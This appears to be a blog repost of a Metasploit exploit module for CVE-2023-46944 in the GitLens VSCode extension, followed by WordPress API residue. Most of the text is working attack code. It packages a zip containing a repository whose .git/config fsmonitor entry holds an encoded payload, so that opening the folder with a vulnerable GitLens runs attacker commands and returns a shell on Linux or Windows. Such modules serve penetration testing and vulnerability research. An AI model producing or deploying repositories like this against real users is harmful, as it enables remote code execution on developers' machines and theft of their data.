##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::FILEFORMAT<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘GitLens Git Local Configuration Exec’,
‘Description’ => %q{
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.<\/p>\n
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘h00die’, # Metasploit module
‘Paul Gerste’, # Original advisory and PoC
],
‘References’ => [
[‘URL’, ‘https:\/\/www.sonarsource.com\/blog\/vscode-security-markdown-vulnerabilities-in-extensions\/’],
[‘URL’, ‘https:\/\/www.sonarsource.com\/blog\/securing-developer-tools-git-integrations\/’], # git hook
[‘URL’, ‘https:\/\/github.com\/gitkraken\/vscode-gitlens\/commit\/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440’], # patch
[‘CVE’, ‘2023-46944’]],
‘DefaultOptions’ => {
‘EXITFUNC’ => ‘thread’,
‘DisablePayloadHandler’ => false,
‘FILENAME’ => ‘repo.zip’,
‘WfsDelay’ => 3_600 # 1hr
},
‘Arch’ => ARCH_CMD,
‘Targets’ => [
[
‘Linux\/Unix (In-Memory)’,
{
‘Platform’ => [ ‘unix’, ‘linux’ ],
‘Type’ => :unix_cmd
},
],
# There may be a size limit, but using fetch payloads works great
[
‘PowerShell (In-Memory)’,
{
‘Platform’ => ‘win’,
‘Payload’ => {
‘BadChars’ => ‘”&’
}
}
],
],
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
},
‘Privileged’ => false,
‘DisclosureDate’ => ‘2023-11-14’
)
)<\/p>\n
register_options([
OptString.new(‘README’, [true, ‘The contents of the readme markdown file’, ‘# Test’])
])
end<\/p>\n
def readme
datastore[‘README’].to_s
end<\/p>\n
def git_head
‘ref: refs\/heads\/master’
end<\/p>\n
def git_config
%([core]repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = “#{payload.encoded} #”) # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
end<\/p>\n
def exploit
# Create malicious zip archive containing our git repo
files =
[
{ data: readme, fname: ‘README.md’ },
{ data: git_config, fname: ‘.git\/config’ },
{ data: git_head, fname: ‘.git\/HEAD’ },
{ data: ”, fname: ‘.git\/objects\/info\/’ },
{ data: ”, fname: ‘.git\/objects\/pack\/’ },
{ data: ”, fname: ‘.git\/refs\/heads\/’ },
{ data: ”, fname: ‘.git\/refs\/tags\/’ },
]\n
zip = Msf::Util::EXE.to_zip(files)<\/p>\n
file_create(zip)
print_status(‘Waiting for shell’)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {})super(update_info(info,‘Name’ => ‘GitLens Git Local Configuration Exec’,‘Description’ => %q{GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute gitcommands. A repo may include its own .git folder including a malicious config file toexecute arbitrary code. …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56396","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56396"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56396\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}